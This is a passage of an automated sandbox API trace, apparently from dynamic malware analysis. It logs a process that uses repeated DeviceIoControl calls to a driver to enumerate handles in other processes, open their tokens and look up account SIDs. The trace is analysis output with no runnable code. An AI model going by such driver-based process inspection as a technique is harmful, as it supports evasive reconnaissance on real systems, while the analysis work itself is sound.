nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0070.804] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.804] PsAcquireProcessExitSynchronization () returned 0x0 [0070.804] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.804] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0070.805] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.805] PsReleaseProcessExitSynchronization () returned 0x2 [0070.805] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.805] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.805] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0070.805] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.805] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.805] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.805] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.805] PsAcquireProcessExitSynchronization () returned 0x0 [0070.805] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.805] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0070.805] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.805] PsReleaseProcessExitSynchronization () returned 0x2 [0070.805] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.805] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.805] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0070.805] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.805] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.805] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.805] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.805] PsAcquireProcessExitSynchronization () returned 0x0 [0070.805] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.805] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0070.805] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.805] PsReleaseProcessExitSynchronization () returned 0x2 [0070.805] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.805] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa8003919044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003919044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.806] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0070.806] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.806] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.806] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.806] PsAcquireProcessExitSynchronization () returned 0x0 [0070.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.806] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0070.806] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.806] PsReleaseProcessExitSynchronization () returned 0x2 [0070.806] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.806] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.806] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0070.806] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.806] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0070.806] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.806] PsAcquireProcessExitSynchronization () returned 0x0 [0070.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.806] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0070.806] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.806] PsReleaseProcessExitSynchronization () returned 0x2 [0070.806] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.806] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.806] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0070.806] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.806] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0070.806] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.806] PsAcquireProcessExitSynchronization () returned 0x0 [0070.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.807] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0070.807] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.807] PsReleaseProcessExitSynchronization () returned 0x2 [0070.807] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.807] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.807] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0070.807] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.807] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.807] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0070.807] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.807] PsAcquireProcessExitSynchronization () returned 0x0 [0070.807] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.807] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0070.807] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.807] PsReleaseProcessExitSynchronization () returned 0x2 [0070.807] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.807] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.807] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0070.807] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.807] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.807] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.807] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.807] PsAcquireProcessExitSynchronization () returned 0x0 [0070.807] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.807] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0070.807] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.807] PsReleaseProcessExitSynchronization () returned 0x2 [0070.807] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.808] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.808] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0070.808] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.808] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.808] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x190b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0070.808] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.808] PsAcquireProcessExitSynchronization () returned 0x0 [0070.808] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.808] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0070.808] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.808] PsReleaseProcessExitSynchronization () returned 0x2 [0070.808] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.808] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.808] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.808] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0070.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0070.808] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0070.808] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000744) returned 0x0 [0070.808] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0070.808] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000744, DesiredAccess=0x8, TokenHandle=0xfffffa8002549100 | out: TokenHandle=0xfffffa8002549100*=0xc8) returned 0x0 [0070.808] ZwClose (Handle=0xffffffff80000744) returned 0x0 [0070.808] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.808] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0070.808] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0070.810] CloseHandle (hObject=0xc8) returned 1 [0070.810] CloseHandle (hObject=0xc0) returned 1 [0070.810] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.810] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.810] PsAcquireProcessExitSynchronization () returned 0x0 [0070.810] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054f85d0) [0070.810] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0070.810] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.810] PsReleaseProcessExitSynchronization () returned 0x2 [0070.810] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0070.810] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.810] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0070.811] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.811] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.811] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.811] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.811] PsAcquireProcessExitSynchronization () returned 0x0 [0070.811] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880054f85d0) [0070.811] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0070.811] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.811] PsReleaseProcessExitSynchronization () returned 0x2 [0070.811] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0070.811] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039a6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.811] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0070.811] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.811] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.811] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0070.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0070.811] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0070.811] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000744) returned 0x0 [0070.811] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x19b [0070.811] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000744, DesiredAccess=0x8, TokenHandle=0xfffffa8002549100 | out: TokenHandle=0xfffffa8002549100*=0xc8) returned 0x0 [0070.811] ZwClose (Handle=0xffffffff80000744) returned 0x0 [0070.811] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.811] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0070.811] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0070.813] CloseHandle (hObject=0xc8) returned 1 [0070.813] CloseHandle (hObject=0xc0) returned 1 [0070.813] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.813] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.813] PsAcquireProcessExitSynchronization () returned 0x0 [0070.813] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.813] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0070.813] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.813] PsReleaseProcessExitSynchronization () returned 0x2 [0070.813] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.813] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.813] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0070.813] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.813] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.813] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0070.813] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.813] PsAcquireProcessExitSynchronization () returned 0x0 [0070.813] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.813] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0070.813] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.813] PsReleaseProcessExitSynchronization () returned 0x2 [0070.813] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.813] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039aa044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039aa044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.814] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0070.814] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.814] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.814] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0070.814] 